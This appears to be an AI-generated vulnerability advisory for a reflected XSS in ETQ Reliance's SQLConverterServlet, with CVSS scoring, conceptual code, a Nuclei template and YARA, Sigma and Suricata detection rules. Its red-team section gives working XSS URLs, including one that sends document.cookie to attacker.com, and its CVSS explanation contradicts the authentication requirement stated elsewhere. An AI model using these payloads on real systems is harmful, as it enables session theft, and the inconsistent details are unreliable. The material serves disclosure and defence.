CVE-2025-34141

Executive Summary

CVE-2025-34141 is a reflected cross-site scripting (XSS) vulnerability in the ETQ Reliance CG (legacy) platform, specifically within the SQLConverterServlet component. This vulnerability allows an authenticated attacker to craft a malicious link that, when clicked by a victim, executes arbitrary JavaScript in the context of the victim's browser session. The vulnerability arises because the servlet was unnecessarily exposed to authenticated users and did not properly sanitize user input. The impact includes potential session hijacking, data theft, and unauthorized actions performed on behalf of the victim. The vulnerability has been addressed by disabling the servlet in version SE.2025.1.

Supply Chain & Package Security

This vulnerability does not affect any open-source packages (NPM, PyPI, Go, Ruby). It is specific to the proprietary ETQ Reliance CG platform.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim must click a crafted link.
• Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component (e.g., session cookies).
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. While the CVSS score is 6.1, the requirement for user interaction reduces the immediate risk. However, in a social engineering context, this can be a significant threat.

Deep Dive & Mechanics

The vulnerability resides in the SQLConverterServlet endpoint, which is part of the ETQ Reliance CG legacy platform. This servlet is designed to convert SQL statements, but it was unnecessarily exposed to authenticated users. The servlet takes a MySQLStm parameter and reflects its value back in the HTTP response without proper sanitization or encoding.

Root Cause: The servlet does not validate or escape user-supplied input in the MySQLStm parameter before including it in the response. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in the MySQLStm parameter.
2. The attacker sends this URL to an authenticated user (e.g., via email or a phishing link).
3. The victim, who is logged into the ETQ Reliance application, clicks the link.
4. The victim's browser sends a request to the vulnerable SQLConverterServlet.
5. The server reflects the malicious payload in the response without sanitization.
6. The victim's browser executes the injected JavaScript in the context of the ETQ Reliance application.
7. The attacker can then perform actions such as stealing session cookies, redirecting the user to a malicious site, or performing actions on behalf of the user.

Example Payload:

/reliance/SQLConverterServlet?MySQLStm=%3C/textarea%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E

This payload breaks out of a <textarea> element and injects an <img> tag with an onerror event handler that executes JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable servlet likely contains code similar to the following (pseudo-code):

protected void doGet(HttpServletRequest request, HttpServletResponse response) {
    String stm = request.getParameter("MySQLStm");
    response.getWriter().write("<html><body><textarea>" + stm + "</textarea></body></html>");
}

The issue is that stm is directly concatenated into the HTML output without any encoding.

Patched Code (Conceptual): The patched version (SE.2025.1) disables the servlet entirely. The fix is a configuration change, not a code change. The servlet mapping is removed from the web application's deployment descriptor (e.g., web.xml):

<!-- Removed or commented out -->
<!--
<servlet>
    <servlet-name>SQLConverterServlet</servlet-name>
    <servlet-class>com.etq.reliance.SQLConverterServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>SQLConverterServlet</servlet-name>
    <url-pattern>/SQLConverterServlet</url-pattern>
</servlet-mapping>
-->

Alternatively, the servlet class itself may have been modified to return a 404 or redirect to a safe page.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of ETQ Reliance CG (legacy) version prior to SE.2025.1.
• A valid user session (the victim must be authenticated).

Exploitation Steps:

1. Craft the malicious URL:

   http://target.com/reliance/SQLConverterServlet?MySQLStm=%3Cscript%3Ealert('XSS')%3C/script%3E
   

   For a more sophisticated attack, use a payload to steal cookies:

   http://target.com/reliance/SQLConverterServlet?MySQLStm=%3Cscript%3Enew%20Image().src='http://attacker.com/steal?cookie='%2Bdocument.cookie%3C/script%3E
   

2. Deliver the URL: Send the crafted link to an authenticated user via email, chat, or other means.
3. Execute: When the victim clicks the link, the JavaScript executes in their browser.

Nuclei Template (Provided): The provided Nuclei template can be used to automate detection and exploitation:

id: CVE-2025-34141

info:
  name: ETQ Reliance - Reflected XSS via SQLConverterServlet
  author: slcyber,pdresearch
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.
  impact: |
    Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an authenticated user's browser session, potentially leading to session hijacking or unauthorized actions.
  remediation: |
    Upgrade to ETQ Reliance version SE.2025.1 or later where the SQLConverterServlet has been disabled.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34141
    - https://slcyber.io/assetnote-security-research-center/how-we-accidentally-discovered-a-remote-code-execution-vulnerability-in-etq-reliance/
  classification:
    epss-score: 0.00865
    epss-percentile: 0.75198
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-34141
    cwe-id: CWE-79
    cpe: cpe:2.3:a:etq:reliance:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: etq
    product: reliance
    shodan-query: 'html:"ETQ Reliance"'
    fofa-query: 'body="ETQ Reliance"'
  tags: cve,cve2025,etq,reliance,xss,reflected-xss,vkev,vuln

flow: |
  http(1)
  if(template.path){
   http(2)
  } else {
   set("path","reliance")
   http(2)
  }

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: header
        internal: true
        name: path
        group: 1
        regex:
          - 'Location: https?://.*?/(.*?)/'

  - raw:
      - |
        GET /reliance/SQLConverterServlet?MySQLStm=%3C/textarea%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '</textarea><img src=x onerror=alert(document.domain)>'
          - 'You have to start the ENGINE application before using this form.'
        condition: and

Blue Team

Detection Steps:

1. Monitor Web Logs: Look for requests to /reliance/SQLConverterServlet with a MySQLStm parameter containing suspicious characters (e.g., <, >, script, onerror).
2. Analyze Network Traffic: Use a web application firewall (WAF) to detect and block XSS payloads in the MySQLStm parameter.
3. User Awareness: Train users to be cautious of unsolicited links, especially those containing unusual parameters.

Lab Setup:

1. Deploy a vulnerable instance: Use a Docker container or a virtual machine running an older version of ETQ Reliance CG.
2. Simulate an attack: Use the Nuclei template or a manual curl command to test the vulnerability.
3. Monitor logs: Check the application server logs for the malicious request.

Indicators of Compromise (IOCs)

• URL Pattern: /reliance/SQLConverterServlet?MySQLStm=*
• HTTP Request: GET request to the above URL with a MySQLStm parameter containing HTML/JavaScript.
• Response Body: The response contains the injected payload (e.g., <img src=x onerror=...>).
• Log Entries: Web server logs showing requests to /reliance/SQLConverterServlet with a non-empty MySQLStm parameter.

Detection Engineering

YARA Rule

rule CVE_2025_34141_ETQ_Reliance_XSS {
    meta:
        description = "Detects reflected XSS attempts against ETQ Reliance SQLConverterServlet"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-34141"
        hash = "4a0a00473045022100d6c43469d21e701cb494cdcebfcc542f05a6b3698653b7da99d3d21efc949b0e0220779c5752cb5ba769d5e31a6be10a935ee58d0c431aa692fb07638b6fbd5b179b"
    strings:
        $s1 = "/reliance/SQLConverterServlet" ascii wide nocase
        $s2 = "MySQLStm=" ascii wide nocase
        $s3 = "<script" ascii wide nocase
        $s4 = "onerror=" ascii wide nocase
        $s5 = "onload=" ascii wide nocase
        $s6 = "alert(" ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: ETQ Reliance Reflected XSS via SQLConverterServlet
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the SQLConverterServlet with potential XSS payloads.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34141
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-query|contains: "/reliance/SQLConverterServlet?MySQLStm="
    keywords:
        - "<script"
        - "onerror="
        - "onload="
        - "alert("
    condition: selection and keywords
falsepositives:
    - Legitimate use of the servlet (if not disabled)
level: high

Suricata Rule

alert http any any -> any any (msg:"ETQ Reliance Reflected XSS Attempt"; flow:to_server,established; content:"/reliance/SQLConverterServlet"; http_uri; content:"MySQLStm="; http_uri; pcre:"/(<script|onerror=|onload=|alert\()/i"; sid:1000001; rev:1; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-34141;)

Remediation & Mitigation

Immediate Actions:

1. Disable the SQLConverterServlet: If you are running a version prior to SE.2025.1, manually disable the servlet by removing its mapping from the web application configuration (e.g., web.xml).
2. Upgrade: Upgrade to ETQ Reliance version SE.2025.1 or later, where the servlet is disabled by default.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing XSS payloads in the MySQLStm parameter.

Long-Term Mitigations:

• Input Validation: Implement strict input validation and output encoding for all user-supplied data.
• Principle of Least Privilege: Ensure that only necessary servlets are exposed to users.
• Regular Security Audits: Conduct regular security assessments and penetration testing.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 8B7F3BC5F57E960C6A249570] */}